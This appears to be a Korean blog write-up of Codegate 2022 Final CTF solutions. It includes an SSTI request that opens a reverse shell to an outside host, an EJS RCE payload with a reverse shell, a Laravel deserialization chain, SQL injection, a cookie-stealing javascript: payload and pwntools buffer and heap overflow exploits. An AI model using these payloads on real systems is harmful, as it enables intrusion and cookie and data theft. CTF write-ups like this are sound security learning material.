Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

ash3r & dmawhwhd

Codeagate 2022 Final writeup 본문

카테고리 없음

Codeagate 2022 Final writeup

ash3r & dmawhwhd 2022. 11. 13. 16:51

Web

1. Calc.

from flask import Flask, render_template, render_template_string, request
import re
app = Flask (__name__)

@app.route('/')
def calc():
    expression = request.args.get('expression')
    filters = ["'","\"","_","[","]",",","`","sys","os","flag","%","class","config","self","\\"]
    request.args = None
    try:
        for filter in filters:
            if filter in expression:
                raise Exception("filterd")
        result = render_template_string(f"{{{{{expression}}}}}")
    except Exception as e:
        result = ""
    return render_template('index.html', result=result)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port='5000', debug=False)

filtering이 많이 걸려있는 ssti 문제입니다. 하지만 ., |, (, ), 모두 필터링이 안 걸려있기에 쉽게 우회할 수 있습니다.

https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request

 

API — Flask Documentation (2.2.x)

view_func (Optional[Union[Callable[[...], Union[Response, str, bytes, List[Any], Mapping[str, Any], Iterator[str], Iterator[bytes], Tuple[Union[Response, str, bytes, List[Any], Mapping[str, Any], Iterator[str], Iterator[bytes]], Union[Headers, Mapping[str,

flask.palletsprojects.com

flask의 class에는 request라는 class가 있습니다. 이를 통해서 필터링을 우회하여 풀이할 수 있습니다.

소스를 보면 request.args = None이라는 코드가 있기에 args말고 headers를 사용하면 됩니다.

GET /?expression=request|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(request.headers.d)|attr(request.headers.e)(request.headers.f)(request.headers.g)|attr(request.headers.h)(request.headers.i)|attr(request.headers.j)() HTTP/1.1
Host: 3.36.56.33
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3.36.56.33/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,zh;q=0.5
a: application
b: __globals__
c: __getitem__
d: __builtins__
e: __getitem__
f: __import__
g: os
h: popen
i: bash -c 'bash -i >& /dev/tcp/server.sqli.kr/9999 0>&1'
j: read
Connection: close

flag: codegate2022{jinja_template_vs_iginja_template_l0l}

 

2. Larachain

문제 description을 보자마자 laravel의 unserialize 취약점이 있었다는 것이 기억났습니다. 검색해보니 문제와 같은 코드의 실습 블로그가 있었고 이를 이용하여 풀이했습니다.

https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/

 

hackyboiz

hack & life

hackyboiz.github.io

<?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this->event = new BroadcastEvent();
            $this->event->connection = "cat ../flag.txt";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}
?>

flag: codegate2022{living_point:unserialize_1s_d4nger0us}

 

3. Welcome

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const app = express();
const IP = '0.0.0.0'
const PORT = 9999

app.use(session({secret: 'secrt',saveUninitialized: true,resave: true}));
app.use(express.static('public'))
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.set('view engine', 'ejs')


var sess;

app.get('/login',(req,res) => {
	res.render('login', {error: ""});
});

app.post('/login',(req,res) => {
	data = req.body.nickname;
    sess = req.session;
	sess.grant = "guest"
	if(data == null){	
		data = {nickname:"guest"};
	}  else if(typeof(data) == "string"){		
		data = {nickname:data};
	}
	var reg = /^[a-z]+$/i;
	if(reg.test(data.nickname)){
		Object.entries(data).forEach(([key, value]) => {
			sess[key] = value;
		});
		res.redirect('/');
	} else{
		res.render('login', { error: "Nickname should not contain any special characters" })
	}
});

app.get('/', (req,res) => {
	sess = req.session;
	if(!sess.nickname){
		res.redirect('/login');	
	}else if(sess.grant == "admin"){
		res.render('admin', sess)
	}else{
		res.render('home')
	}
});


app.get('/logout',(req,res) => {
    req.session.destroy((err) => {
        if(err) {
            return console.log(err);
        }
        res.redirect('/login');
    });

});


app.listen(PORT, IP);
{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "author": "",
  "main": "app.js",
  "scripts": {
    "start": "node app.js"
  },
  "dependencies": {
    "ejs": "^3.1.6",
    "express-session": "^1.17.3",
    "express": "^4.18.1"
  }
}

ejs 버전이 취약한 버전인 것을 알 수 있었습니다. cve-2022-29078을 이용하여 rce를 발생시키면 된다고 생각했습니다.

app.get('/', (req,res) => {
	sess = req.session;
	if(!sess.nickname){
		res.redirect('/login');	
	}else if(sess.grant == "admin"){
		res.render('admin', sess)
	}else{
		res.render('home')
	}
});

rce를 발생시키려면 sess.grant가 admin이어야 하고 res.render('admin', sess) 이고 sess에

settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s

다음과 같은 data가 들어있으면 rce가 발생하게 됩니다.

이를 만족시키기 위해서는 session에 원하는 구조로 data를 넣어줘야합니다. urlencoded, json 모두 받기에 nickname에 object를 입력할 수 있습니다. object를 입력하게 되면 

if(data == null){	
		data = {nickname:"guest"};
	}  else if(typeof(data) == "string"){		
		data = {nickname:data};
	}

다음의 필터링을 우회할 수 있습니다.

var reg = /^[a-z]+$/i;
if(reg.test(data.nickname)){
	Object.entries(data).forEach(([key, value]) => {
		sess[key] = value;
	});
	res.redirect('/');
} else{
	res.render('login', { error: "Nickname should not contain any special characters" })
}

정규식에서는 위의 필터링을 통해서 data에 object를 넣어주는 데 이를 object로 넣어주면서 우회해줬기에 nickname에는 정규식에 어긋나지 않는 string을 넣어주면 됩니다. 그렇다면 object.entries(data).forEach(([key, value]) => {sess[key] = value;});를 실행해줍니다. 이는 sess에 data object를 복사해주는 역할을 합니다. 

 

다음과 같은 payload를 통해서 최종적으로 rce 발생시킬 수 있습니다.

nickname[nickname]=asdf&nickname[grant]=admin&nickname[settings][view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/localhost/8888%200>%261'");s

 

4. Album

서버가 닫혀서 제가 기억나는 대로 설명하겠습니다.. ㅠ.ㅠ

album과 writer를 검색하여 원하는 그림을 출력해주는 사이트였습니다.

제가 생각하는 쿼리는 

select * from board where {input1} like '%{input2}%' 으로 작동하는 것 같았습니다.

input2 에서는 sql injection이 발생하지 않았습니다.

그래서 input1 에서 1#을 넣었을 때 작동했기에 sql injection이 발생하는 것을 알 수 있었습니다.

union이 막혀있었는데 이는 대문자로 우회할 수 있었습니다.

 

information_schema를 이용하여 column과 table 정보를 획득하여

input1 => 1 union select 1,1,1,flag,1 from flag#을 통하여 flag를 획득했습니다.

 

flag: codegate2022{AB424FF5FAB00106CF856E3B9A88849A}

 

5. JeanValJean

이 문제도 서버가 닫혀서 제가 기억나는 대로 설명하겠습니다.. ㅠ.ㅠ

report하는 부분이 있었습니다. description에 /login?url={input}이라 적혀있어 open redirect인 것을 바로 알 수 있었습니다.

이는 로그인하는 부분에서 발생하는데 로그인을 성공하면 url로 이동하는 구조였습니다.

그래서 javascript scheme을 사용했는데 잘 작동하기에 이를 이용하여 풀이하였습니다.

하지만 서버에서는 javascript를 필터링하고 있기에 Javascript로 우회하여 풀이하였습니다.

Javascript:location.replace('http://server/?c='+document.cookie)를 통하여 쿠키를 가져오고 이를 이용하여 admin이 작성한 글을 읽으면 플래그를 획득할 수 있습니다.

 

 

여담: /login?url={input} 이라고 적혀있어서 /login부터 넣어줘야 되는 줄 알았습니다.... 이거 때문에 2시간 날렸어요 ㅠㅠㅠㅠㅁㄷㄴㄹㅁ

 

pwn

1. simple bof

 

custom canary가 있습니다. 하지만 flag를 출력해주는 조건문 뒤에 check해주기에 그냥 bof로 변수 덮어주면 됩니다.

 

from pwn import *

p = remote("43.201.97.189",5333)
p.recvuntil("? ")
p.sendline("A"*(0x70-4)+p64(0xDEADEACE))

p.interactive()

 

2. chunkychunk

 

basic한 heap menu challenge입니다. add chunk를 통해 0, 1 chunk를 size를 작게 생성해주고 edit을 통해 0번째 chunk 사이즈를 늘리는데 MAX SIZE만 check해주기에 heap overflow가 발생합니다. 이를 통해 heap pointer를 덮으면 원하는 gift 함수로 뛸 수 있습니다. gift 함수의 주소는 출력해주기에 이를 이용하면 풀이할 수 있습니다.

 

from pwn import *

#p = remote("3.35.20.92",5333)
p = process("./chunkyChunk")
e = ELF("./chunkyChunk")
l = e.libc
p.recvuntil(b" : ")
gift = int(p.recvuntil(b"\n")[:-1],16)

def add_note(note_num, note_size, note_data):
    p.sendlineafter(b" : ", b"1")
    p.sendlineafter(b" : ", str(note_num).encode())
    p.sendlineafter(b" : ", str(note_size).encode())
    p.sendafter(b" : ", note_data)

def del_note(note_num):
    p.sendlineafter(b" : ", "2".encode())
    p.sendlineafter(b" : ", str(note_num).encode())

def show_note():
    p.sendlineafter(b" : ", "3".encode())

def edit_note(note_num, note_size, note_data):
    p.sendlineafter(b" : ", "4".encode())
    p.sendlineafter(b" : ", str(note_num).encode())
    p.sendlineafter(b" : ", str(note_size).encode())
    p.sendafter(b" : ", note_data)

print(hex(gift))
#p.sendlineafter(b" : ", "1".encode())
add_note(0, 8, ("A"*8).encode())
add_note(1, 8, ("B"*8).encode())
edit_note(0, 80, (p64(gift)*10))
pause()
show_note()

p.interactive()

 

3. findYourKey

input를 입력받고 input의 길이만큼 스택에 있는 key와 비교를 하여 결과를 return해줍니다. 하지만 key길이가 key의 길이보다 더 많이 입력받을 수 있을 수 있기에 key 뒤에 있는 스택의 정보도 leak할 수 있습니다. 또한 e를 입력하면 bof 함수로 넘어가서 bof를 터트릴 수 있기에 leak한 canary와 스택 주소를 통하여 pie base를 구하여 gift함수로 뛰면 풀이할 수 있습니다.

from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
import struct

#p = remote("3.34.135.116", 5333)
p = process("./findYourKey")
e = ELF("./findYourKey")
l = e.libc
# l = ELF("./libc.so.6")

#context.log_level = 'debug'
gift = 0x12A9
leak = 0

for i in range(1,0xff - 6):
	for j in range(0, 256):
		p.sendlineafter(b"> ", b"y")
		p.sendlineafter(b"> ", str(i).encode())
		p.sendlineafter(b"> ", long_to_bytes((leak << 8) + j))
		res = p.recvuntil(b"\n")
		if b"key is correct!" == res[:-1]:
			print("success")
			leak = (leak << 8) + j
			print("leak : ", long_to_bytes(leak))
			break
addr = []
while True:
	addr.append(hex(u64((leak & 0xffffffffffffffff).to_bytes(8,byteorder='big'))))
	leak = leak >> 64
	if leak == 0:
		break

pie_base = (int(addr[10],16)) - 15720
canary = int(addr[21],16)

print(addr)
print(hex(pie_base))
print(hex(canary))

payload = bytearray(b'')
payload += b"A" * 24
payload += p64(canary)
payload += b'A' * 8
payload += p64(pie_base + 0x000000000000101a)
payload += p64(pie_base + gift)

p.recvuntil(b"> ")
p.sendline(b"e")
pause()
p.sendline(payload)

p.interactive()

 

Misc

1. commnad

코드를 보면 특정 ip와 socket 통신을 하는 것을 알 수 있는데 다 필요없고 방향키를 입력받고 출력된 방향키가 입력되었을 때 다음 command로 넘어가는 형식인데 틀렸을 때 초기화를 해주지 않아 방향키와 스페이스바 연타하고 이를 녹화하여서 플래그가 잠깐 출력되고 꺼질 때를 캡쳐하여 풀이했습니다. (//ㅅ//)

 

2. 문제 이름 기억이 안남..(대충 eval로 사칙연산 결과 return해주면 됨.)

from pwn import *

p = remote("13.124.246.88",8000)
for i in range(20):
    p.recvuntil(str(i)+"\n")
    prob = p.recvuntil(" =")[:-2]
    res = eval(prob)
    p.send(res)

 

Crypto

1. emoji

emoji로 긴 암호문?을 줍니다. 저는 ", ,, ?와 같은 특수기호가 있을 뿐만 아니라 emoji하나가 알파벳 하나라고 생각했습니다. 그래서 반복문을 통해 이모지를 알파벳으로 대칭해주었습니다. 결과값이 너무 치환 암호처럼 생겨서 풀어주는 https://quipqiup.com/에 넣고 돌렸더니 플래그를 얻을 수 있었습니다.

import string

lists = '''😂😎😢😮 😝🙄😂😎 🐺 😑😉😆😮 😑😵😮😊😮 😰😉😠😮😍 😉😎 🐺 😢😮😊😑🐺😉😎 😠😉😰😰🐺😐😮 🐺 😰😉😑😑😰😮 😢😂😝😎😑😊🥺 😐😉😊😰, 😑😵😮 🙄😊😮😑😑😉😮🤣😑 😢😊😮🐺😑😝😊😮 😱😵😂 😱🐺🤣 😮😠😮😊 🤣😮😮😎. 😵😮😊 😆😂😑😵😮😊 😱🐺🤣 😮🤔😢😮🤣🤣😉😠😮😰🥺 😃😂😎😍 😂😃 😵😮😊; 🐺😎😍 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😍😂😑😮😍 😂😎 😵😮😊 🤣😑😉😰😰 😆😂😊😮. 😑😵😉🤣 😐😂😂😍 😱😂😆🐺😎 😵🐺😍 🐺 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 😆🐺😍😮 😃😂😊 😵😮😊. 😉😑 🤣😝😉😑😮😍 😑😵😮 😐😉😊😰 🤣😂 😮🤔😑😊😮😆😮😰🥺 😱😮😰😰 😑😵🐺😑 😮😠😮😊🥺🙃😂😍🥺 😢🐺😰😰😮😍 😵😮😊 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍.
😂😎😮 😍🐺🥺 😵😮😊 😆😂😑😵😮😊, 😵🐺😠😉😎😐 😆🐺😍😮 🤣😂😆😮 😢🐺🤪😮🤣, 🤣🐺😉😍 😑😂 😵😮😊, "😐😂, 😆🥺 😍😮🐺😊, 🐺😎😍 🤣😮😮 😵😂😱 🥺😂😝😊 😐😊🐺😎😍😆😂😑😵😮😊 😉🤣 😍😂😉😎😐, 😃😂😊 😉 😵😮🐺😊 🤣😵😮 😵🐺🤣 🙃😮😮😎 😠😮😊🥺 😉😰😰. 😑🐺🤪😮 😵😮😊 🐺 😢🐺🤪😮, 🐺😎😍 😑😵😉🤣 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🤣😮😑 😂😝😑 😉😆😆😮😍😉🐺😑😮😰🥺 😑😂 😐😂 😑😂 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊, 😱😵😂 😰😉😠😮😍 😉😎 🐺😎😂😑😵😮😊 😠😉😰😰🐺😐😮.
🐺🤣 🤣😵😮 😱🐺🤣 😐😂😉😎😐 😑😵😊😂😝😐😵 😑😵😮 😱😂😂😍, 🤣😵😮 😆😮😑 😱😉😑😵 🐺 😱😂😰😃, 😱😵😂 😵🐺😍 🐺 😠😮😊🥺 😐😊😮🐺😑 😆😉😎😍 😑😂 😮🐺😑 😵😮😊 😝🙄, 🙃😝😑 😵😮 😍🐺😊😮😍 😎😂😑, 🙃😮😢🐺😝🤣😮 😂😃 🤣😂😆😮 😱😂😂😍😢😝😑😑😮😊🤣 😱😂😊🤪😉😎😐 😎😮🐺😊🙃🥺 😉😎 😑😵😮 😃😂😊😮🤣😑. 😵😮 🐺🤣🤪😮😍 😵😮😊 😱😵😮😊😮 🤣😵😮 😱🐺🤣 😐😂😉😎😐. 😑😵😮 🙄😂😂😊 😢😵😉😰😍, 😱😵😂 😍😉😍 😎😂😑 🤪😎😂😱 😑😵🐺😑 😉😑 😱🐺🤣 😍🐺😎😐😮😊😂😝🤣 😑😂 🤣😑🐺🥺 🐺😎😍 😑🐺😰🤪 😑😂 🐺 😱😂😰😃, 🤣🐺😉😍 😑😂 😵😉😆, "😉 🐺😆 😐😂😉😎😐 😑😂 🤣😮😮 😆🥺 😐😊🐺😎😍😆😂😑😵😮😊 🐺😎😍 😢🐺😊😊🥺 😵😮😊 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😃😊😂😆 😆🥺 😆😂😑😵😮😊."
"😍😂😮🤣 🤣😵😮 😰😉😠😮 😃🐺😊 😂😃😃?" 🤣🐺😉😍 😑😵😮 😱😂😰😃.
"😂😵 😉 🤣🐺🥺," 🐺😎🤣😱😮😊😮😍 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍; "😉😑 😉🤣 🙃😮🥺😂😎😍 😑😵🐺😑 😆😉😰😰 🥺😂😝 🤣😮😮 😑😵😮😊😮, 🐺😑 😑😵😮 😃😉😊🤣😑 😵😂😝🤣😮 😉😎 😑😵😮 😠😉😰😰🐺😐😮."
"😱😮😰😰," 🤣🐺😉😍 😑😵😮 😱😂😰😃, "🐺😎😍 😉'😰😰 😐😂 🐺😎😍 🤣😮😮 😵😮😊 😑😂😂. 😉'😰😰 😐😂 😑😵😉🤣 😱🐺🥺 🐺😎😍 😐😂 🥺😂😝 😑😵🐺😑, 🐺😎😍 😱😮 🤣😵🐺😰😰 🤣😮😮 😱😵😂 😱😉😰😰 🙃😮 😑😵😮😊😮 😃😉😊🤣😑."
😑😵😮 😱😂😰😃 😊🐺😎 🐺🤣 😃🐺🤣😑 🐺🤣 😵😮 😢😂😝😰😍, 😑🐺🤪😉😎😐 😑😵😮 🤣😵😂😊😑😮🤣😑 🙄🐺😑😵, 🐺😎😍 😑😵😮 😰😉😑😑😰😮 😐😉😊😰 😑😂😂🤪 🐺 😊😂😝😎😍🐺🙃😂😝😑 😱🐺🥺, 😮😎😑😮😊😑🐺😉😎😉😎😐 😵😮😊🤣😮😰😃 🙃🥺 😐🐺😑😵😮😊😉😎😐 😎😝😑🤣, 😊😝😎😎😉😎😐 🐺😃😑😮😊 🙃😝😑😑😮😊😃😰😉😮🤣, 🐺😎😍 😐🐺😑😵😮😊😉😎😐 🙃😂😝😒😝😮😑🤣 😂😃 😰😉😑😑😰😮 😃😰😂😱😮😊🤣. 😉😑 😱🐺🤣 😎😂😑 😰😂😎😐 🙃😮😃😂😊😮 😑😵😮 😱😂😰😃 🐺😊😊😉😠😮😍 🐺😑 😑😵😮 😂😰😍 😱😂😆🐺😎'🤣 😵😂😝🤣😮. 😵😮 🤪😎😂😢🤪😮😍 🐺😑 😑😵😮 😍😂😂😊: 😑🐺🙄, 😑🐺🙄.
"😱😵😂'🤣 😑😵😮😊😮?"
"🥺😂😝😊 😐😊🐺😎😍😢😵😉😰😍, 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍," 😊😮🙄😰😉😮😍 😑😵😮 😱😂😰😃, 😢😂😝😎😑😮😊😃😮😉😑😉😎😐 😵😮😊 😠😂😉😢😮; "😱😵😂 😵🐺🤣 🙃😊😂😝😐😵😑 🥺😂😝 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 🤣😮😎😑 🥺😂😝 🙃🥺 😆😂😑😵😮😊."
😑😵😮 😐😂😂😍 😐😊🐺😎😍😆😂😑😵😮😊, 😱😵😂 😱🐺🤣 😉😎 🙃😮😍, 🙃😮😢🐺😝🤣😮 🤣😵😮 😱🐺🤣 🤣😂😆😮😱😵🐺😑 😉😰😰, 😢😊😉😮😍 😂😝😑, "🙄😝😰😰 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😰🐺😑😢😵 😱😉😰😰 😐😂 😝🙄."
😑😵😮 😱😂😰😃 🙄😝😰😰😮😍 😑😵😮 🤣😑😊😉😎😐 😎, 🐺😎😍 😑😵😮 😍😂😂😊 😂🙄😮😎😮😍, 🐺😎😍 😑😵😮😎 😵😮 😉😆😆😮😍😉🐺😑😮😰🥺 😃😮😰😰 😝🙄😂😎 😑😵😮 😐😂😂😍 😱😂😆🐺😎 🐺😎😍 🐺😑😮 😵😮😊 😝🙄 😉😎 🐺 😆😂😆😮😎😑, 😃😂😊 😉😑 🙃😮😮😎 😆😂😊😮 😑😵🐺😎 😑😵😊😮😮 😍🐺🥺🤣 🤣😉😎😢😮 😵😮 😵🐺😍 😮🐺😑😮😎. 😵😮 😑😵😮😎 🤣😵😝😑 😑😵😮 😍😂😂😊 🐺😎😍 😐😂😑 😉😎😑😂 😑😵😮 😐😊🐺😎😍😆😂😑😵😮😊'🤣 🙃😮😍, 😮🤔🙄😮😢😑😉😎😐 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😱😵😂 😢🐺😆😮 🤣😂😆😮 😑😉😆😮 🐺😃😑😮😊😱🐺😊😍🤣 🐺😎😍 🤪😎😂😢🤪😮😍 🐺😑 😑😵😮 😍😂😂😊: 😑🐺🙄, 😑🐺🙄.
"😱😵😂'🤣 😑😵😮😊😮?"
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😵😮🐺😊😉😎😐 😑😵😮 🙃😉😐 😠😂😉😢😮 😂😃 😑😵😮 😱😂😰😃, 😱🐺🤣 🐺😑 😃😉😊🤣😑 🐺😃😊🐺😉😍; 🙃😝😑 🙃😮😰😉😮😠😉😎😐 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😵🐺😍 🐺 😢😂😰😍 🐺😎😍 😱🐺🤣 😵😂🐺😊🤣😮, 🐺😎🤣😱😮😊😮😍, "😉😑 😉🤣 🥺😂😝😊 😐😊🐺😎😍😢😵😉😰😍 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😱😵😂 😵🐺🤣 🙃😊😂😝😐😵😑 🥺😂😝 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😆😂😑😵😮😊 🤣😮😎😍🤣 🥺😂😝."
😑😵😮 😱😂😰😃 😢😊😉😮😍 😂😝😑 😑😂 😵😮😊, 🤣😂😃😑😮😎😉😎😐 😵😉🤣 😠😂😉😢😮 🐺🤣 😆😝😢😵 🐺🤣 😵😮 😢😂😝😰😍, "🙄😝😰😰 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😰🐺😑😢😵 😱😉😰😰 😐😂 😝🙄."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🙄😝😰😰😮😍 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😍😂😂😊 😂🙄😮😎😮😍.
😑😵😮 😱😂😰😃, 🤣😮😮😉😎😐 😵😮😊 😢😂😆😮 😉😎, 🤣🐺😉😍 😑😂 😵😮😊, 😵😉😍😉😎😐 😵😉😆🤣😮😰😃 😝😎😍😮😊 😑😵😮 🙃😮😍😢😰😂😑😵😮🤣, "🙄😝😑 😑😵😮 😢🐺🤪😮 🐺😎😍 😑😵😮 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😝🙄😂😎 😑😵😮 🤣😑😂😂😰, 🐺😎😍 😢😂😆😮 🤣😉😑 😂😎 😑😵😮 🙃😮😍 😱😉😑😵 😆😮."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🤣🐺😑 😂😎 😑😵😮 🙃😮😍. 🤣😵😮 😱🐺🤣 😐😊😮🐺😑😰🥺 🐺😆🐺😴😮😍 😑😂 🤣😮😮 😵😂😱 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😰😂😂🤪😮😍 😉😎 😵😮😊 😎😉😐😵😑😢😰😂😑😵😮🤣, 🐺😎😍 🤣🐺😉😍 😑😂 😵😮😊, "😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 🐺😊😆🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😵😝😐 🥺😂😝 😱😉😑😵, 😆🥺 😍😮🐺😊."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😰😮😐🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😊😝😎 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😮🐺😊🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😵😮🐺😊 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😮🥺😮🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 🤣😮😮 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😑😮😮😑😵 🥺😂😝 😵🐺😠😮 😐😂😑!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😮🐺😑 🥺😂😝 😝🙄 😱😉😑😵."
🐺😎😍, 🤣🐺🥺😉😎😐 😑😵😮🤣😮 😱😂😊😍🤣, 😑😵😉🤣 😱😉😢🤪😮😍 😱😂😰😃 😃😮😰😰 😝🙄😂😎 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 🐺😎😍 🐺😑😮 😵😮😊 🐺😰😰 😝🙄.
😑😵😮😊😮😃😂😊😮 😃😰🐺😐 😉🤣 😮😵😍😐😵🤪🤣😆🤣🤣😆😊😮😂😍😵🤪😒😎😃😊😍😆🤣😑😂😊🐺🤪😍🤔😵. 🤣😂 🥺😂😝 🤣😝🙃😆😉😑 😉😑 😉😎 😑😵😮 😃😂😊😆🐺😑 🐺😢😢😂😊😍😉😎😐 😑😂 😑😵😮 🙄😊😂🙃😰😮😆 😍😮🤣😢😊😉🙄😑😉😂😎.'''

tbl = []

def get_tbl():
    for i in lists:
        try:
            a = tbl.index(hex(ord(i)))
        except:
            #print(tbl)
            if ord(i) > 256:
                tbl.append(hex(ord(i)))

get_tbl()

#tbl = ['0x1f602', '0x1f60e', '0x1f622', '0x1f62e', '0x1f61d', '0x1f644', '0x1f43a', '0x1f611', '0x1f609', '0x1f606', '0x1f635', '0x1f60a', '0x1f630', '0x1f620', '0x1f60d', '0x1f610', '0x1f97a', '0x1f923', '0x1f631', '0x1f914', '0x1f603', '0x1f643', '0x1f92a', '0x1f612', '0x1f634']
#tbl = []
alp = string.ascii_lowercase

res = ""
for i in lists:
    for j in range(len(tbl)):
        tmp = ord(i)
        if tmp < 256:
            res += chr(tmp)
            break
        if hex(tmp) == tbl[j]:
            res += alp[j]
print(res)

 

2.  RSA

n 하나를 e 2개로 암호화 했을 때 egcd를 통해서 복호화 할 수 있다는 것을 알 수 있었습니다. 이를 통해 코드를 짜면 풀이할 수 있습니다.

 

import gmpy2
from Crypto.Util.number import long_to_bytes

data = {'n': 530608211275513140366213138576723793063425255614923916339818296370965195790170509377272816425755124935117505883803711912448089542645382900611950157918984019577954045101766666641238782097999510625875880969945471060158125437911539276388013871362986018325401113892681619320340704004127463091857351199317633994571579952934196595940153186110524883992930224361870545884119798418793773606942649578976020070310101589489301325141130049757844603712484465320142622014398855573242395860195081413402454165102037618128916290867959544566706382208694897560692739599385906736064223144970858620904311410004277627671783, 'e1': 65537, 'e2': 11731,
        'c1': 36438785448993034686319725528189192854463151662047410787227922472649376988517578574739948014360868712767703814105348128280340128939238535870532598929770331230858903476818025917271405175287372062625882551287048889017803584186380153095109131743562028934469362853792211973654740907312518795378145540926223924479122691199553850552127169415722835585231774507859734000109872494993889601024066569604368136614240776022505481719558228444943141026367964278184575717257240100749291352017125500119659786838130694989077975539301274525538419859900000660538238458822546354653698743617030591065087263349564991665849    , 'c2': 454045540371169334472351754484136780129066219703489904165202842522515664378538610447624560284169053268730975791349131234222808083488597486803727304405099404081868654631796931174509511691927858633690661209034072047272183265894764752839929020695260728240428345390829399265245232898345572532352424374555423507654005941229433225611956943133363918291490204626186412647847220114809916647068100876659371702917383788830054608420673772563553420797641488934352031754512664158636253136857155982303012426019741495093518469924228444208995681120899429608361648412150864338383128649019067200581109180307642009088751}
n = data['n']
e1 = data['e1']
e2 = data['e2']
message1 = data['c1']
message2 = data['c2']

# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
    s = -s
    message1 = gmpy2.invert(message1, n)
if t < 0:
    t = -t
    message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print(plain)
print(long_to_bytes(plain).decode('utf-8'))

 

후기

리버싱과 포너블을 공부했다면 더 좋은 성적을 얻을 수 있었을 것이라고 생각합니다.... 생각보다 문제가 어렵지 않아서 재밌게 풀었던 것 같습니다. 또한, 예상치 못한 수상이라 만족스러운 수상이었던 것 같습니다. 내년에는 대학부로 가서 더 좋은 성적을 낼 수 있도록 더 열심히 해야겠습니다.